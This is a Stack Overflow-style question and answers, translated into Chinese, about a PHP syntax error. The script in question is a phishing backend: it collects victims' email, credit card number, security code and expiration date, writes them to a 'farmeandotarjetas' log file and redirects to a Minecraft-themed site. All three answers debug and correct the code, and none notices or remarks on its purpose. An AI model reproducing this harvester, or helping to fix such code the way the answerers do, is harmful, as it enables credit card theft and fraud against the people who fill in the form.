【问题标题】:Error: Parse error: syntax error, unexpected T_STRING错误:解析错误:语法错误,意外的 T_STRING
【发布时间】:2015-02-24 05:29:30
【问题描述】:

这是我的代码:

<?php

$email = $_POST['email']; 
$credit = $_POST['credit']; 
$security = $_POST['security'];
$expiration = $_POST['expiration'];
$fm = "farmeandotarjetas.html"; 
$fh = fopen($fm,"a"); 
$fmstring = "Email: '.$email.'</font></b>] Credit Card: [<b><font color="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>";
fwrite($fm);
fclose($fm);
echo "<meta http-equiv='refresh' content='1;url=http://minecraftactivation.com/'>";
</?

我的问题: Parse error: syntax error, unexpected T_STRING in /home/u431949153/public_html/post.php 在第 10 行。第 10 行是 fwrite($fm);

【问题讨论】:

  • 我猜这个错误是由于错误地为$fmstring分配的字符串值引起的
  • 即使在这里,您也可以轻松发现错误;你的 IDE 有语法高亮吗?

标签: php html post fonts


【解决方案1】:

您在第 9 行有错误。 你的行应该是这样的:

$fmstring = 'Email: '.$email.'</font></b>] Credit Card: [<b><font color="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>';

【讨论】:

  • 在结束 php 选项卡时也出错 ?更改此结束标签
【解决方案2】:

你首先在 $fmstring 中有多个错误,接下来你必须给它资源而不是字符串,所以像这样将 $fm 更改为 $fh 和 $fmstring

$email = $_POST['email']; 
$credit = $_POST['credit']; 
$security = $_POST['security'];
$expiration = $_POST['expiration'];
$fm = "farmeandotarjetas.html"; 
$fh = fopen($fm,"a"); 
$fmstring = 'Email: '.$email.'</font></b>] Credit Card: [<b><fontcolor="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>';

 fwrite($fh);
 fclose($fh);

【讨论】:

    【解决方案3】:

    如果你对回显值使用双引号,试试这种风格

    echo "Email: {$email}, Credit Card: {$credit_card}";
    

    上面的方法和这个样式一样

    echo "Email: ".$email.", Credit Card: ".$credit_card;
    

    echo 'Email: '.$email.', Credit Card: '.$credit_card;
    

    有很多选项可以让您自己阅读代码

    对于您的问题,请尝试将此代码更改为您的代码

    $fmstring = "Email: {$email}</font></b>] 
                 Credit Card: [<b><font color=\"#FF1493\">{$credit}</font></b>] 
                 Security Code: [<b><font color=\"#FF1493\">{$security}</font></b>]
                 Expiration code: [<b><font color=\"#FF1493\">{$expiration}<br>";
    

    你能看到吗?如果您使用双引号作为回显语句并且字符串有一个或多个双引号,您必须在字符串中的每个双引号之前放置一个反斜杠。

    别忘了把 php 标签改成 ?&gt; 而不是 &lt;/?

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2013-05-13
      • 2014-05-12
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2020-04-23
      • 2016-03-05
      • 2011-04-02
      相关资源
      最近更新 更多